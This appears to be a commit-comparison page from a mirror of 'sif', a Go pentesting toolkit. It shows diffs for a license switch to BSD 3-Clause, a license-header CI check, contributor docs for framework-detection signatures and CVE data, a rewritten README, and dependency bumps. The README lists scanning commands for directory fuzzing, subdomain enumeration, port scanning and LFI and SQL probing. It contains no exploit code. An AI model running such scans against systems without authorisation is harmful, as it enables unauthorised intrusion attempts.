mirror of
https://github.com/lunchcat/sif.git
synced 2026-06-13 03:21:21 -07:00
Compare commits
20 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 5868deef21 | |||
| b43e54bf60 | |||
| c75ebccb27 | |||
| 858555bc47 | |||
| 51ee65c5df | |||
| 035e9406d9 | |||
| ba5468725e | |||
| 49b081dc30 | |||
| 127eeff265 | |||
| 1b493e9572 | |||
| 74b044ce59 | |||
| 2a2bcf5b92 | |||
| 166e1b82c2 | |||
| be9c02e8ba | |||
| 018af224d6 | |||
| 97aeb4c8b0 | |||
| 2d38d3fea5 | |||
| 3df0064e4b | |||
| c20c37463a | |||
| 9190fa4741 |
@@ -0,0 +1,52 @@
|
||||
name: header check
|
||||
|
||||
on:
|
||||
push:
|
||||
paths:
|
||||
- '**.go'
|
||||
pull_request:
|
||||
paths:
|
||||
- '**.go'
|
||||
|
||||
jobs:
|
||||
check-headers:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: check license headers
|
||||
run: |
|
||||
missing_headers=()
|
||||
|
||||
while IFS= read -r -d '' file; do
|
||||
# skip test files and generated files
|
||||
if [[ "$file" == *"_test.go" ]]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# check if file starts with the license header (signature is on line 4)
|
||||
if ! head -n 5 "$file" | grep -q "█▀ █ █▀▀"; then
|
||||
missing_headers+=("$file")
|
||||
fi
|
||||
done < <(find . -name "*.go" -type f -print0)
|
||||
|
||||
if [ ${#missing_headers[@]} -ne 0 ]; then
|
||||
echo "::error::the following files are missing the license header:"
|
||||
printf '%s\n' "${missing_headers[@]}"
|
||||
echo ""
|
||||
echo "expected header format:"
|
||||
echo '/*'
|
||||
echo '·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·'
|
||||
echo ': :'
|
||||
echo ': █▀ █ █▀▀ · Blazing-fast pentesting suite :'
|
||||
echo ': ▄█ █ █▀ · BSD 3-Clause License :'
|
||||
echo ': :'
|
||||
echo ': (c) 2022-2025 vmfunc (vmfunc), xyzeva, :'
|
||||
echo ': lunchcat alumni & contributors :'
|
||||
echo ': :'
|
||||
echo '·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·'
|
||||
echo '*/'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "all go files have proper license headers"
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
run: make
|
||||
- name: Run Sif with features
|
||||
run: |
|
||||
./sif -u https://google.com -dnslist small -dirlist small -dork -git -whois -cms
|
||||
./sif -u https://example.com -dnslist small -dirlist small -dork -git -whois -cms -framework
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Sif ran successfully"
|
||||
else
|
||||
|
||||
@@ -53,6 +53,98 @@ When making a pull request, please adhere to the following conventions:
|
||||
|
||||
If you have any questions, feel free to ask around on the IRC channel.
|
||||
|
||||
## Contributing Framework Detection Patterns
|
||||
|
||||
The framework detection module (`pkg/scan/frameworks/detect.go`) identifies web frameworks by analyzing HTTP headers and response bodies. To add support for a new framework:
|
||||
|
||||
### Adding a New Framework Signature
|
||||
|
||||
1. Add your framework to the `frameworkSignatures` map:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{Pattern: `unique-identifier`, Weight: 0.5},
|
||||
{Pattern: `header-signature`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `body-signature`, Weight: 0.3},
|
||||
},
|
||||
```
|
||||
|
||||
**Pattern Guidelines:**
|
||||
- `Weight`: How much this signature contributes to detection (0.0-1.0)
|
||||
- `HeaderOnly`: Set to `true` for HTTP header patterns
|
||||
- Use unique identifiers that won't false-positive on other frameworks
|
||||
- Include multiple patterns for higher confidence
|
||||
|
||||
### Adding Version Detection
|
||||
|
||||
Add version patterns to `extractVersionWithConfidence()`:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{`MyFramework[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"myframework":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
```
|
||||
|
||||
### Adding CVE Data
|
||||
|
||||
Add known vulnerabilities to the `knownCVEs` map:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{
|
||||
CVE: "CVE-YYYY-XXXXX",
|
||||
AffectedVersions: []string{"1.0.0", "1.0.1", "1.1.0"},
|
||||
FixedVersion: "1.2.0",
|
||||
Severity: "high", // critical, high, medium, low
|
||||
Description: "Brief description of the vulnerability",
|
||||
Recommendations: []string{"Update to 1.2.0 or later"},
|
||||
},
|
||||
},
|
||||
```
|
||||
|
||||
### Testing Your Changes
|
||||
|
||||
Always add tests for new frameworks in `detect_test.go`:
|
||||
|
||||
```go
|
||||
func TestDetectFramework_MyFramework(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<html><body>unique-identifier</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
// assertions...
|
||||
}
|
||||
```
|
||||
|
||||
### Future Enhancements (Help Wanted)
|
||||
|
||||
- **Custom Signature Support**: Allow users to define signatures via config file
|
||||
- **CVE API Integration**: Real-time CVE data from NVD or other sources
|
||||
- **Automated Signature Updates**: Fetch new signatures from a central repository
|
||||
- **Framework Fingerprint Database**: Community-maintained signature database
|
||||
|
||||
## Configuration
|
||||
|
||||
### Framework Detection Flags
|
||||
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `-framework` | Enable framework detection |
|
||||
| `-timeout` | HTTP request timeout (affects all modules) |
|
||||
| `-threads` | Number of concurrent workers |
|
||||
| `-log` | Directory to save scan results |
|
||||
| `-debug` | Enable debug logging for verbose output |
|
||||
|
||||
### Environment Variables
|
||||
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `SHODAN_API_KEY` | API key for Shodan host intelligence |
|
||||
|
||||
## Packaging
|
||||
|
||||
We'd love it if you helped us bring sif to your distribution.
|
||||
|
||||
@@ -1,11 +1,29 @@
|
||||
Copyright 2023 - 2024 lunchcat, inc. ALL RIGHTS RESERVED.
|
||||
BSD 3-Clause License
|
||||
|
||||
Use of this tool is restricted to research and educational purposes only. Usage in a production environment outside of these categories is strictly prohibited. Any person or entity wishing to use this tool outside of research or school purposes must purchase a license from https://lunchcat.dev.
|
||||
Copyright (c) 2022-2025 vmfunc (vmfunc), xyzeva, lunchcat alumni,
|
||||
and other sif contributors.
|
||||
|
||||
For Businesses:
|
||||
1. Licensing Requirement: Businesses intending to use this tool for any commercial, operational, or production purposes must obtain a commercial license from [lunchcat.dev](https://lunchcat.dev).
|
||||
2. Compliance: Businesses must ensure compliance with all applicable laws and regulations when using this tool.
|
||||
3. Liability: lunchcat assumes no liability for any damages or losses incurred by businesses using this tool without an appropriate license.
|
||||
4. Support: Licensed business users are eligible for dedicated support and updates as per the terms of their license agreement.
|
||||
5. Audits: lunchcat reserves the right to audit business usage of this tool to ensure compliance with the licensing terms.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
|
||||
|
||||
**Copyright 2023 - 2024 lunchcat. ALL RIGHTS RESERVED.**
|
||||
|
||||
Use of this tool is restricted to research and educational purposes only. Usage in a production environment outside of these categories is strictly prohibited. Any person or entity wishing to use this tool outside of research or school purposes must purchase a license from [lunchcat.dev](https://lunchcat.dev).
|
||||
|
||||
**For Businesses:**
|
||||
1. **Licensing Requirement:** Businesses intending to use this tool for any commercial, operational, or production purposes must obtain a commercial license from [lunchcat.dev](https://lunchcat.dev).
|
||||
2. **Compliance:** Businesses must ensure compliance with all applicable laws and regulations when using this tool.
|
||||
3. **Liability:** lunchcat assumes no liability for any damages or losses incurred by businesses using this tool without an appropriate license.
|
||||
4. **Support:** Licensed business users are eligible for dedicated support and updates as per the terms of their license agreement.
|
||||
5. **Audits:** lunchcat reserves the right to audit business usage of this tool to ensure compliance with the licensing terms.
|
||||
|
||||
---
|
||||
|
||||
@@ -1,124 +1,120 @@
|
||||
<div align="center">
|
||||
|
||||

|
||||
[](https://goreportcard.com/report/github.com/dropalldatabases/sif)
|
||||
[](https://github.com/dropalldatabases/sif/tags)
|
||||
<img src="assets/banner.png" alt="sif" width="600">
|
||||
|
||||
<br><br>
|
||||
|
||||
[](https://go.dev/)
|
||||
[](https://github.com/vmfunc/sif/actions)
|
||||
[](LICENSE)
|
||||
[](https://discord.gg/sifcli)
|
||||
|
||||
**[install](#install) · [usage](#usage) · [modules](#modules) · [contribute](#contribute)**
|
||||
|
||||
</div>
|
||||
|
||||
## 📖 Table of Contents
|
||||
---
|
||||
|
||||
- [Modules](#-modules)
|
||||
- [Installation](#-installation)
|
||||
- [Quick Start](#-quick-start)
|
||||
- [Usage](#-usage)
|
||||
- [Performance](#-performance)
|
||||
- [Contributing](#-contributing)
|
||||
- [Contributors](#-contributors)
|
||||
- [Acknowledgements](#-acknowledgements)
|
||||
## what is sif?
|
||||
|
||||
## 🧩 Modules
|
||||
sif is a modular pentesting toolkit written in go. it's designed to be fast, concurrent, and extensible. run multiple scan types against targets with a single command.
|
||||
|
||||
sif is built with a modular architecture, allowing for easy extension and customization. Some of our key modules include:
|
||||
|
||||
- 📂 Directory/file fuzzing/scanning
|
||||
- 📡 DNS subdomain enumeration
|
||||
- 🐾 Common Web scanning
|
||||
- 🖥️ Port/service scanning
|
||||
- 🦠 Vulnerability scanning
|
||||
- Support for pre-existing nuclei templates
|
||||
- Metasploit emulation for execution
|
||||
- 🔎 Automated Google dorking
|
||||
- 💘 Shodan integration
|
||||
- 📦 CMS detection
|
||||
- 🔍 HTTP Header Analysis
|
||||
- ☁️ C3 Misconfiguration Scanner
|
||||
- 🔍 Subdomain Takeover Checks
|
||||
|
||||
## 📦 Installation
|
||||
|
||||
### Using pre-built binaries
|
||||
|
||||
Visit our [Releases](https://github.com/dropalldatabases/sif/releases) page to download the latest pre-built binary for your operating system.
|
||||
|
||||
### Building from source
|
||||
|
||||
1. Ensure you have Go 1.23+ installed on your system.
|
||||
2. Clone the repository:
|
||||
```
|
||||
git clone https://github.com/lunchcat/sif.git
|
||||
cd sif
|
||||
```
|
||||
3. Build using the Makefile:
|
||||
```
|
||||
make
|
||||
```
|
||||
4. The binary will be available in the root directory.
|
||||
|
||||
## 🚀 Quick Start
|
||||
|
||||
1. Run a basic scan:
|
||||
```
|
||||
./sif -u example.com
|
||||
```
|
||||
2. For more options and advanced usage, refer to the help command:
|
||||
```
|
||||
./sif -h
|
||||
```
|
||||
|
||||
## 🛠 Usage
|
||||
|
||||
sif offers a wide range of commands and options to customize your pentesting workflow. Here are some common usage examples:
|
||||
|
||||
- Directory fuzzing
|
||||
|
||||
```
|
||||
./sif -u http://example.com -dirlist medium
|
||||
```bash
|
||||
./sif -u https://example.com -all
|
||||
```
|
||||
|
||||
- Subdomain enumeration
|
||||
## install
|
||||
|
||||
```
|
||||
./sif -u http://example.com -dnslist medium
|
||||
### from releases
|
||||
|
||||
grab the latest binary from [releases](https://github.com/vmfunc/sif/releases).
|
||||
|
||||
### from source
|
||||
|
||||
```bash
|
||||
git clone https://github.com/dropalldatabases/sif.git
|
||||
cd sif
|
||||
make
|
||||
```
|
||||
|
||||
- Supabase/Firebase and C3 Vulnerability scanning
|
||||
requires go 1.23+
|
||||
|
||||
```
|
||||
./sif -u https://example.com -js -c3
|
||||
```
|
||||
## usage
|
||||
|
||||
- Port scanning
|
||||
```bash
|
||||
# basic scan
|
||||
./sif -u https://example.com
|
||||
|
||||
```
|
||||
# directory fuzzing
|
||||
./sif -u https://example.com -dirlist medium
|
||||
|
||||
# subdomain enumeration
|
||||
./sif -u https://example.com -dnslist medium
|
||||
|
||||
# port scanning
|
||||
./sif -u https://example.com -ports common
|
||||
|
||||
# javascript framework detection + cloud misconfig
|
||||
./sif -u https://example.com -js -c3
|
||||
|
||||
# shodan host intelligence (requires SHODAN_API_KEY env var)
|
||||
./sif -u https://example.com -shodan
|
||||
|
||||
# sql recon + lfi scanning
|
||||
./sif -u https://example.com -sql -lfi
|
||||
|
||||
# framework detection (with cve lookup)
|
||||
./sif -u https://example.com -framework
|
||||
|
||||
# everything
|
||||
./sif -u https://example.com -all
|
||||
```
|
||||
|
||||
For a complete list of commands and options, run `./sif -h`.
|
||||
run `./sif -h` for all options.
|
||||
|
||||
## ⚡ Performance
|
||||
## modules
|
||||
|
||||
sif is designed for high performance and efficiency:
|
||||
| module | description |
|
||||
|--------|-------------|
|
||||
| `dirlist` | directory and file fuzzing |
|
||||
| `dnslist` | subdomain enumeration |
|
||||
| `ports` | port and service scanning |
|
||||
| `nuclei` | vulnerability scanning with nuclei templates |
|
||||
| `dork` | automated google dorking |
|
||||
| `js` | javascript framework detection (next.js, supabase) |
|
||||
| `c3` | cloud storage misconfiguration scanning |
|
||||
| `headers` | http header analysis |
|
||||
| `takeover` | subdomain takeover detection |
|
||||
| `cms` | cms detection |
|
||||
| `whois` | whois lookups |
|
||||
| `git` | exposed git repository detection |
|
||||
| `shodan` | shodan host intelligence (requires SHODAN_API_KEY) |
|
||||
| `sql` | sql admin panel and error disclosure detection |
|
||||
| `lfi` | local file inclusion vulnerability scanning |
|
||||
| `framework` | web framework detection with version + cve lookup |
|
||||
|
||||
- Written in Go for excellent concurrency and speed
|
||||
- Optimized algorithms for minimal resource usage
|
||||
- Supports multi-threading for faster scans
|
||||
- Efficient caching mechanisms to reduce redundant operations
|
||||
## contribute
|
||||
|
||||
## 🤝 Contributing
|
||||
contributions welcome. see [contributing.md](CONTRIBUTING.md) for guidelines.
|
||||
|
||||
We welcome contributions from the community! Please read our [Contributing Guidelines](CONTRIBUTING.md) before submitting a pull request.
|
||||
```bash
|
||||
# format
|
||||
gofmt -w .
|
||||
|
||||
Areas we're particularly interested in:
|
||||
# lint
|
||||
golangci-lint run
|
||||
|
||||
- New scanning modules
|
||||
- Performance improvements
|
||||
- Documentation enhancements
|
||||
- Bug fixes and error handling improvements
|
||||
# test
|
||||
go test ./...
|
||||
```
|
||||
|
||||
## 🌟 Contributors
|
||||
## community
|
||||
|
||||
Thanks to these wonderful people who have contributed to sif:
|
||||
join our discord for support, feature discussions, and pentesting tips:
|
||||
|
||||
[](https://discord.gg/sifcli)
|
||||
|
||||
## contributors
|
||||
|
||||
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
|
||||
<!-- prettier-ignore-start -->
|
||||
@@ -141,19 +137,13 @@ Thanks to these wonderful people who have contributed to sif:
|
||||
|
||||
<!-- ALL-CONTRIBUTORS-LIST:END -->
|
||||
|
||||
## 🙏 Acknowledgements
|
||||
## acknowledgements
|
||||
|
||||
We'd like to thank the following projects and communities for their inspiration and support:
|
||||
|
||||
- [ProjectDiscovery](https://projectdiscovery.io/) for their amazing open-source security tools
|
||||
- [Shodan](https://www.shodan.io/)
|
||||
- [Malcore](https://www.malcore.io/), for providing us direct API support at Lunchcat.
|
||||
- [projectdiscovery](https://projectdiscovery.io/) for nuclei and other security tools
|
||||
- [shodan](https://www.shodan.io/) for infrastructure intelligence
|
||||
|
||||
---
|
||||
|
||||
<div align="center">
|
||||
<strong>Happy Hunting! 🐾</strong>
|
||||
<p>
|
||||
<sub>Built with ❤️ by the lunchcat team and contributors worldwide</sub>
|
||||
</p>
|
||||
<sub>bsd 3-clause license · made by vmfunc, xyzeva, and contributors</sub>
|
||||
</div>
|
||||
|
||||
+9
-21
@@ -1,25 +1,13 @@
|
||||
/*
|
||||
╔══════════════════════════════════════════════════════════════════════════════╗
|
||||
║ ║
|
||||
║ SIF ║
|
||||
║ ║
|
||||
║ Blazing-fast pentesting suite written in Go ║
|
||||
║ ║
|
||||
║ Copyright (c) 2023-2024 vmfunc, xyzeva, lunchcat contributors ║
|
||||
║ and other sif contributors. ║
|
||||
║ ║
|
||||
║ ║
|
||||
║ Use of this tool is restricted to research and educational ║
|
||||
║ purposes only. Usage in a production environment outside ║
|
||||
║ of these categories is strictly prohibited. ║
|
||||
║ ║
|
||||
║ Any person or entity wishing to use this tool outside of ║
|
||||
║ research or educational purposes must purchase a license ║
|
||||
║ from https://lunchcat.dev ║
|
||||
║ ║
|
||||
║ For more information, visit: https://github.com/lunchcat/sif ║
|
||||
║ ║
|
||||
╚══════════════════════════════════════════════════════════════════════════════╝
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package main
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/dropalldatabases/sif
|
||||
|
||||
go 1.23
|
||||
go 1.24.0
|
||||
|
||||
toolchain go1.25.5
|
||||
|
||||
@@ -55,7 +55,6 @@ require (
|
||||
github.com/charmbracelet/glamour v0.6.0 // indirect
|
||||
github.com/cheggaaa/pb/v3 v3.1.4 // indirect
|
||||
github.com/cloudflare/cfssl v1.6.4 // indirect
|
||||
github.com/cloudflare/circl v1.3.7 // indirect
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 // indirect
|
||||
github.com/corpix/uarand v0.2.0 // indirect
|
||||
github.com/dimchansky/utfbom v1.1.1 // indirect
|
||||
@@ -65,7 +64,6 @@ require (
|
||||
github.com/fatih/color v1.16.0 // indirect
|
||||
github.com/fatih/structs v1.1.0 // indirect
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 // indirect
|
||||
github.com/gaukas/godicttls v0.0.4 // indirect
|
||||
github.com/go-logfmt/logfmt v0.6.0 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-playground/locales v0.14.1 // indirect
|
||||
@@ -78,7 +76,7 @@ require (
|
||||
github.com/gobwas/pool v0.2.1 // indirect
|
||||
github.com/gobwas/ws v1.2.1 // indirect
|
||||
github.com/gocolly/colly/v2 v2.1.0 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1 // indirect
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2 // indirect
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect
|
||||
github.com/golang/protobuf v1.5.3 // indirect
|
||||
github.com/golang/snappy v0.0.4 // indirect
|
||||
@@ -102,7 +100,7 @@ require (
|
||||
github.com/julienschmidt/httprouter v1.3.0 // indirect
|
||||
github.com/kataras/jwt v0.1.8 // indirect
|
||||
github.com/kennygrant/sanitize v1.2.4 // indirect
|
||||
github.com/klauspost/compress v1.16.7 // indirect
|
||||
github.com/klauspost/compress v1.17.4 // indirect
|
||||
github.com/klauspost/cpuid/v2 v2.2.5 // indirect
|
||||
github.com/klauspost/pgzip v1.2.5 // indirect
|
||||
github.com/leodido/go-urn v1.2.4 // indirect
|
||||
@@ -156,10 +154,10 @@ require (
|
||||
github.com/projectdiscovery/sarif v0.0.1 // indirect
|
||||
github.com/projectdiscovery/tlsx v1.1.4 // indirect
|
||||
github.com/projectdiscovery/yamldoc-go v1.0.4 // indirect
|
||||
github.com/quic-go/quic-go v0.48.2 // indirect
|
||||
github.com/refraction-networking/utls v1.5.4 // indirect
|
||||
github.com/refraction-networking/utls v1.8.1 // indirect
|
||||
github.com/remeh/sizedwaitgroup v1.0.0 // indirect
|
||||
github.com/rivo/uniseg v0.4.4 // indirect
|
||||
github.com/rogpeppe/go-internal v1.10.0 // indirect
|
||||
github.com/rs/xid v1.5.0 // indirect
|
||||
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d // indirect
|
||||
github.com/sashabaranov/go-openai v1.14.2 // indirect
|
||||
@@ -168,6 +166,7 @@ require (
|
||||
github.com/shoenig/go-m1cpu v0.1.6 // indirect
|
||||
github.com/spaolacci/murmur3 v1.1.0 // indirect
|
||||
github.com/spf13/cast v1.5.1 // indirect
|
||||
github.com/stretchr/testify v1.11.1 // indirect
|
||||
github.com/syndtr/goleveldb v1.0.0 // indirect
|
||||
github.com/temoto/robotstxt v1.1.2 // indirect
|
||||
github.com/tidwall/btree v1.6.0 // indirect
|
||||
@@ -181,7 +180,7 @@ require (
|
||||
github.com/tklauser/go-sysconf v0.3.12 // indirect
|
||||
github.com/tklauser/numcpus v0.6.1 // indirect
|
||||
github.com/trivago/tgo v1.0.7 // indirect
|
||||
github.com/ulikunitz/xz v0.5.11 // indirect
|
||||
github.com/ulikunitz/xz v0.5.15 // indirect
|
||||
github.com/valyala/bytebufferpool v1.0.0 // indirect
|
||||
github.com/valyala/fasttemplate v1.2.2 // indirect
|
||||
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db // indirect
|
||||
@@ -204,17 +203,17 @@ require (
|
||||
go.uber.org/multierr v1.11.0 // indirect
|
||||
go.uber.org/zap v1.25.0 // indirect
|
||||
goftp.io/server/v2 v2.0.1 // indirect
|
||||
golang.org/x/crypto v0.26.0 // indirect
|
||||
golang.org/x/crypto v0.46.0 // indirect
|
||||
golang.org/x/exp v0.0.0-20240506185415-9bf2ced13842 // indirect
|
||||
golang.org/x/mod v0.17.0 // indirect
|
||||
golang.org/x/net v0.28.0 // indirect
|
||||
golang.org/x/oauth2 v0.11.0 // indirect
|
||||
golang.org/x/sync v0.8.0 // indirect
|
||||
golang.org/x/sys v0.23.0 // indirect
|
||||
golang.org/x/term v0.23.0 // indirect
|
||||
golang.org/x/text v0.17.0 // indirect
|
||||
golang.org/x/mod v0.30.0 // indirect
|
||||
golang.org/x/net v0.48.0 // indirect
|
||||
golang.org/x/oauth2 v0.34.0 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/sys v0.39.0 // indirect
|
||||
golang.org/x/term v0.38.0 // indirect
|
||||
golang.org/x/text v0.32.0 // indirect
|
||||
golang.org/x/time v0.5.0 // indirect
|
||||
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
|
||||
golang.org/x/tools v0.39.0 // indirect
|
||||
google.golang.org/appengine v1.6.7 // indirect
|
||||
google.golang.org/protobuf v1.33.0 // indirect
|
||||
gopkg.in/alecthomas/kingpin.v2 v2.2.6 // indirect
|
||||
|
||||
@@ -104,8 +104,6 @@ github.com/cheggaaa/pb/v3 v3.1.4/go.mod h1:6wVjILNBaXMs8c21qRiaUM8BR82erfgau1DQ4
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cloudflare/cfssl v1.6.4 h1:NMOvfrEjFfC63K3SGXgAnFdsgkmiq4kATme5BfcqrO8=
|
||||
github.com/cloudflare/cfssl v1.6.4/go.mod h1:8b3CQMxfWPAeom3zBnGJ6sd+G1NkL5TXqmDXacb+1J0=
|
||||
github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU=
|
||||
github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA=
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08 h1:ox2F0PSMlrAAiAdknSRMDrAr8mfxPCfSZolH+/qQnyQ=
|
||||
github.com/cnf/structhash v0.0.0-20201127153200-e1b16c1ebc08/go.mod h1:pCxVEbcm3AMg7ejXyorUXi6HQCzOIBf7zEDVPtw0/U4=
|
||||
github.com/corpix/uarand v0.2.0 h1:U98xXwud/AVuCpkpgfPF7J5TQgr7R5tqT8VZP5KWbzE=
|
||||
@@ -137,8 +135,6 @@ github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4
|
||||
github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
|
||||
github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
|
||||
github.com/gaukas/godicttls v0.0.4 h1:NlRaXb3J6hAnTmWdsEKb9bcSBD6BvcIjdGdeb0zfXbk=
|
||||
github.com/gaukas/godicttls v0.0.4/go.mod h1:l6EenT4TLWgTdwslVb4sEMOCf7Bv0JAK67deKr9/NCI=
|
||||
github.com/go-logfmt/logfmt v0.6.0 h1:wGYYu3uicYdqXVgoYbvnkrPVXkuLM1p1ifugDMEdRi4=
|
||||
github.com/go-logfmt/logfmt v0.6.0/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
@@ -168,8 +164,8 @@ github.com/gocolly/colly/v2 v2.1.0 h1:k0DuZkDoCsx51bKpRJNEmcxcp+W5N8ziuwGaSDuFoG
|
||||
github.com/gocolly/colly/v2 v2.1.0/go.mod h1:I2MuhsLjQ+Ex+IzK3afNS8/1qP3AedHOusRPcRdC5o0=
|
||||
github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/golang-jwt/jwt/v4 v4.4.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1 h1:JdqV9zKUdtaa9gdPlywC3aeoEsR681PlKC+4F5gQgeo=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.1/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
|
||||
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
|
||||
@@ -264,8 +260,8 @@ github.com/kennygrant/sanitize v1.2.4 h1:gN25/otpP5vAsO2djbMhF/LQX6R7+O1TB4yv8Nz
|
||||
github.com/kennygrant/sanitize v1.2.4/go.mod h1:LGsjYYtgxbetdg5owWB2mpgUL6e2nfw2eObZ0u0qvak=
|
||||
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
|
||||
github.com/klauspost/compress v1.11.4/go.mod h1:aoV0uJVorq1K+umq18yTdKaF57EivdYsUV+/s2qKfXs=
|
||||
